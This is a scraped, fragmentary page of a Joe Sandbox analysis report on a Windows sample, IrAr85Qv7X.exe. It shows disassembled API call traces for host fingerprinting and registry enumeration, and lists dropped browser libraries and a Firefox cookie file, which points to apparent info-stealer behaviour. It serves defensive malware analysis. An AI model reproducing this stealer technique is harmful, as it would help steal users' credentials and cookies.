Part of subcall function 0040AE40: GetComputerNameA.KERNEL32(00405AF9,00000104), ref: 0040AE6C

lstrcat.KERNEL32(?,00000000), ref: 00405AFE
lstrcat.KERNEL32(?,00418D0C), ref: 00405B0D
lstrcat.KERNEL32(?,0073AAA0), ref: 00405B1E

Part of subcall function 0040AE90: GetProcessHeap.KERNEL32(00000000,00000104,?,00405B29), ref: 0040AE9D
Part of subcall function 0040AE90: RtlAllocateHeap.NTDLL(00000000,?,00405B29), ref: 0040AEA4
Part of subcall function 0040AE90: GetUserNameA.ADVAPI32(?,00000104), ref: 0040AEBC

lstrcat.KERNEL32(?,00000000), ref: 00405B2E
lstrcat.KERNEL32(?,00418D0C), ref: 00405B3D
lstrcat.KERNEL32(?,0073A800), ref: 00405B4E
lstrcat.KERNEL32(?,00000000), ref: 00405B5E
lstrcat.KERNEL32(?,00418D0C), ref: 00405B6D
lstrcat.KERNEL32(?,0073AA28), ref: 00405B7D

Part of subcall function 0040B430: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B444
Part of subcall function 0040B430: RtlAllocateHeap.NTDLL(00000000), ref: 0040B44B
Part of subcall function 0040B430: RegOpenKeyExA.KERNEL32(80000002,007385F8,00000000,00020119,00405B88), ref: 0040B46B
Part of subcall function 0040B430: RegQueryValueExA.KERNEL32(00405B88,0073D348,00000000,00000000,?,000000FF), ref: 0040B48C
Part of subcall function 0040B430: RegCloseKey.ADVAPI32(00405B88), ref: 0040B496

lstrcat.KERNEL32(?,00000000), ref: 00405B8D
lstrcat.KERNEL32(?,00418D0C), ref: 00405B9C
lstrcat.KERNEL32(?,0073AD70), ref: 00405BAD

Part of subcall function 0040B4B0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B4BD
Part of subcall function 0040B4B0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B4CB
Part of subcall function 0040B4B0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B4D2
Part of subcall function 0040B4B0: memset.NTDLL ref: 0040B4E9
Part of subcall function 0040B4B0: lstrcat.KERNEL32(?,?), ref: 0040B4FA

lstrcat.KERNEL32(?,00000000), ref: 00405BBD
lstrcat.KERNEL32(?,00418D08), ref: 00405BCC
lstrcat.KERNEL32(?,00739AB0), ref: 00405BDD
lstrcat.KERNEL32(?,00418D0C), ref: 00405BEC

Part of subcall function 0040B520: RegOpenKeyExA.KERNEL32(80000002,0073E240,00000000,00020019,00000000), ref: 0040B572

lstrlen.KERNEL32(?), ref: 00405C02

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: c3cb6189f57ce36048423c6dcfcb4504c1e0643d3625a7290589daafb719769f
Instruction ID: 8ed83170a48b8d73059fe8d37d72f8a06627bc10b4374578af5f7091a665cf8b
Opcode Fuzzy Hash: c3cb6189f57ce36048423c6dcfcb4504c1e0643d3625a7290589daafb719769f
Instruction Fuzzy Hash: ABC1ABBA601304FBC704DBE4EF49D9E777AAF4C7417248568B209D3661CA38AB10DF69

Function 00407E90 Relevance: 45.3, APIs: 30, Instructions: 284
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407EA5
lstrcat.KERNEL32(?,00414018), ref: 00407EB7

Part of subcall function 0040BAA0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040BAC1

lstrcat.KERNEL32(?,00000000), ref: 00407ECF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407EE2
wsprintfA.USER32 ref: 00407F0F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407F5F
RtlAllocateHeap.NTDLL(00000000), ref: 00407F66
StrCmpCA.SHLWAPI(?,00418D28), ref: 00408012
lstrcat.KERNEL32(?,0073C318), ref: 00408039
lstrcat.KERNEL32(?,0073C238), ref: 0040805E
StrCmpCA.SHLWAPI(?,00418D28), ref: 00408070
lstrcat.KERNEL32(?,0073C318), ref: 00408098
lstrcat.KERNEL32(?,0073C238), ref: 004080BE

Part of subcall function 00407370: memset.MSVCRT ref: 004073C2
Part of subcall function 00407370: LocalAlloc.KERNEL32(00000040,?), ref: 00407411
Part of subcall function 00407370: lstrcat.KERNEL32(?,00000000), ref: 00407477

lstrcat.KERNEL32(?,00418D28), ref: 004080EE
lstrcat.KERNEL32(?,?), ref: 00408102
lstrcat.KERNEL32(?,00419324), ref: 00408114
lstrcat.KERNEL32(?,?), ref: 00408128
lstrcat.KERNEL32(?,00419324), ref: 0040813A
lstrcat.KERNEL32(?,?), ref: 0040814E
lstrcat.KERNEL32(?,00419324), ref: 00408160
lstrcat.KERNEL32(?,?), ref: 00408174
lstrcat.KERNEL32(?,00419324), ref: 00408186
lstrcat.KERNEL32(?,?), ref: 0040819A
lstrcat.KERNEL32(?,00419324), ref: 004081AC
lstrcat.KERNEL32(?,?), ref: 004081C0
lstrcat.KERNEL32(?,00419324), ref: 004081D2
lstrcat.KERNEL32(?,00000000), ref: 00408210
lstrcat.KERNEL32(?,00418D0C), ref: 00408222
lstrlen.KERNEL32(?), ref: 00408234
DeleteFileA.KERNEL32(?), ref: 00408284

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 0b4adb1af1544757a655a0c94e1efc14ad14534226af656a000d926cb7abe209
Instruction ID: a5dd8e5f66f777792d5789dadda844b880bff3efeaa08dff0c003fe794a5fb3f
Opcode Fuzzy Hash: 0b4adb1af1544757a655a0c94e1efc14ad14534226af656a000d926cb7abe209
Instruction Fuzzy Hash: FBB1B6B5941208BBCB10EFA4ED8DFDE7779AF48700F008598F609A7191C7389A51CF59

Function 00408DF0 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 284
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00408E1F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408E6C
RtlAllocateHeap.NTDLL(00000000), ref: 00408E73
lstrcat.KERNEL32(?,0073C318), ref: 00408FDA
lstrcat.KERNEL32(?,0073C238), ref: 00409000
lstrcat.KERNEL32(?,0073C318), ref: 004090B8
lstrcat.KERNEL32(?,0073C238), ref: 004090DE
lstrcat.KERNEL32(?,?), ref: 004090F2
lstrcat.KERNEL32(?,00419324), ref: 00409104
lstrcat.KERNEL32(?,?), ref: 00409118
lstrcat.KERNEL32(?,00419324), ref: 0040912A
lstrcat.KERNEL32(?,?), ref: 0040913E
lstrcat.KERNEL32(?,00419324), ref: 00409150
lstrcat.KERNEL32(?,?), ref: 00409164
lstrcat.KERNEL32(?,00419324), ref: 00409176
lstrcat.KERNEL32(?,?), ref: 0040918A
lstrcat.KERNEL32(?,00419324), ref: 0040919C
lstrcat.KERNEL32(?,?), ref: 004091B0
lstrcat.KERNEL32(?,00419324), ref: 004091C2
lstrcat.KERNEL32(?,?), ref: 004091D6
lstrcat.KERNEL32(?,00418D0C), ref: 004091E8
lstrlen.KERNEL32(?), ref: 004091FA

Strings

es, xrefs: 00408E49

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: es
API String ID: 3196222039-901196792
Opcode ID: 76512b3c44e7d74bf553097c7e1b6141f52ff925f396e8bc35bff706c62d44c0
Instruction ID: 1754f34d814f79a9e8167620b14264a718b44691b21acda5c5b3bf3649e647ec
Opcode Fuzzy Hash: 76512b3c44e7d74bf553097c7e1b6141f52ff925f396e8bc35bff706c62d44c0
Instruction Fuzzy Hash: E0C17EB1A00218AFCB24DF64DE89BDE77B5AF48704F0481D8F209A7291C6399E90CF59

Function 00407C00 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 174
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,00408A2C,?,?,00000001,00000000,00000000), ref: 00407C19
lstrcat.KERNEL32(?,00414018), ref: 00407C2B

Part of subcall function 0040BAA0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040BAC1

lstrcat.KERNEL32(?,00000000), ref: 00407C43
CopyFileA.KERNEL32(?,?,00000001), ref: 00407C56
DeleteFileA.KERNEL32(?), ref: 00407E7C

Part of subcall function 00407370: memset.MSVCRT ref: 004073C2
Part of subcall function 00407370: LocalAlloc.KERNEL32(00000040,?), ref: 00407411
Part of subcall function 00407370: lstrcat.KERNEL32(?,00000000), ref: 00407477

lstrcat.KERNEL32(?,00000000), ref: 00407D37
lstrcat.KERNEL32(00000000,0073ACC0), ref: 00407D4B
lstrcat.KERNEL32(00000000,?), ref: 00407D5C
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407D6E
lstrcat.KERNEL32(00000000,0073AD60), ref: 00407D81
lstrcat.KERNEL32(00000000,?), ref: 00407D91
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407DA3
lstrcat.KERNEL32(00000000,0073AD40), ref: 00407DB6
lstrcat.KERNEL32(00000000,?), ref: 00407DCA
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407DDB
lstrcat.KERNEL32(00000000,0073AD50), ref: 00407DEF
lstrcat.KERNEL32(00000000,?), ref: 00407E03
lstrcat.KERNEL32(00000000,00418D0C), ref: 00407E15
lstrcat.KERNEL32(00000000,0073C388), ref: 00407E28
lstrcat.KERNEL32(00000000,?), ref: 00407E3B
lstrcat.KERNEL32(00000000,00418D08), ref: 00407E4D

Strings

Is, xrefs: 00407C83

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: Is
API String ID: 3522136165-210124886
Opcode ID: 66eeb1ad6a8d6a2b6d0ccfa29ec14bfe1bb6bdb7f80ed3d6a1edd565cfbf8c5c
Instruction ID: 8e4766552fbd43dc1917a09da9b98d467413e4854ad92de658b5e1f98992a880
Opcode Fuzzy Hash: 66eeb1ad6a8d6a2b6d0ccfa29ec14bfe1bb6bdb7f80ed3d6a1edd565cfbf8c5c
Instruction Fuzzy Hash: 366187B1911304AFD710EFA4EE48DEA37B9FF48701F048568F60993161D639DAA1CF5A

Function 0040B520 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,0073E240,00000000,00020019,00000000), ref: 0040B572
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B5D7
wsprintfA.USER32 ref: 0040B60A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B62D
RegCloseKey.ADVAPI32(00000000), ref: 0040B63E
RegCloseKey.ADVAPI32(00000000), ref: 0040B64B

Strings

@s, xrefs: 0040B566, 0040B5F7
%s\%s, xrefs: 0040B5FE
?, xrefs: 0040B547

Memory Dump Source

Source File: 00000000.00000002.1720454018.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1720440688.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720471514.0000000000414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720484358.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720500950.000000000042C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1720515146.000000000042E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IrAr85Qv7X.jbxd

Yara matches

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?$@s
API String ID: 2323328657-3752799049
Opcode ID: 7a7cd44712f981650cd0ba67674ae438e021bfc38c8f7e98afdb1eb9d0343c9a
Instruction ID: 79b7c5e3867b15640c9b516a82325d057f2a6d7394d615580dbb69b8a263038d
Opcode Fuzzy Hash: 7a7cd44712f981650cd0ba67674ae438e021bfc38c8f7e98afdb1eb9d0343c9a
Instruction Fuzzy Hash: 55513CB5901218ABDB10CF50DD49FEA77B8FF48700F00C5A9A249A6180DF749AC6CFD9

Function 00405550 Relevance: 28.7, APIs: 18, Strings: 1, Instructions: 180
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IrAr85Qv7X.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\sqlite3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Windows Analysis Report
IrAr85Qv7X.exe

Function 00408920 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 394
fileCOMMON

Function 00406D50 Relevance: 43.8, APIs: 29, Instructions: 277
libraryCOMMON

Function 0040C4D0 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 110
libraryloaderCOMMON

Function 004052D0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Function 00401280 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON